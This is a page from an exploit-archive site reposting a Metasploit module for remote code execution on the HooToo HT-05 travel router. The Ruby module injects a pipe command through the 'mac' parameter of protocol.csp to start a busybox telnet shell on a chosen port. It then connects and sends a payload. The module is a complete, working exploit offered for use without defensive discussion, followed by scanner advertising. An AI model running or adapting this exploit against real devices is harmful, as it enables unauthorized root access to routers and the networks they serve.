hootoo ht05 remote code execution (metasploit)

▸▸▸ Exploit & Vulnerability >>   remote exploit & hardware vulnerability




hootoo ht05 remote code execution (metasploit) Code Code...
				
require 'msf/core' require 'net/http' require "uri" class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp # #Descrizione del Exploit # def initialize(info = {}) super(update_info(info, 'Name' => 'Hotoo HT-05 remote shell exploit', 'Description' => %q{ This module tries to open a door in the device by exploiting the RemoteCodeExecution by creating a backdoor inside the device This exploit was written by Andrei Manole. Version of the firmware 2.000.022. Tested on 2.000.082 -> it still works }, 'Author' => 'Andrei Manole', 'References' => [ ], 'Privileged' => true, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, #fine del settaggio del payload 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => "20 Dicembre 2018", 'DefaultTarget' => 0)) register_options([ Opt::RPORT(6666) ], self.class) end def send_request(host,port) uri = URI.parse("http://#{host}/protocol.csp?function=set&fname=security&opt=mac_table&flag=close_forever&mac=|/bin/busybox%20telnetd%20-l/bin/sh%20-p#{port}") http = Net::HTTP.new(uri.host, uri.port) request = Net::HTTP::Get.new(uri.request_uri) response = http.request(request) if response.code == 200 || response.message == 'OK' || response.class.name == 'HTTPOK' then return true end return false end def exploit #exploit print_status("[+] Apertura backdoor in corso...") if !send_request(datastore['RHOST'],datastore['RPORT']) then raise("[-] Errore nel apertura della porta") end print_good("[+] Richiesta inviata con successo! :)") nsock = self.connect(false, {"RPORT" => datastore['RPORT']}) print_good("[+] Porta aperta con successo ! :)") nsock.put(payload.encoded + " >/dev/null 2>&1") handler(nsock) return end end

Hootoo ht05 remote code execution (metasploit) Vulnerability / Exploit Source : Hootoo ht05 remote code execution (metasploit)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.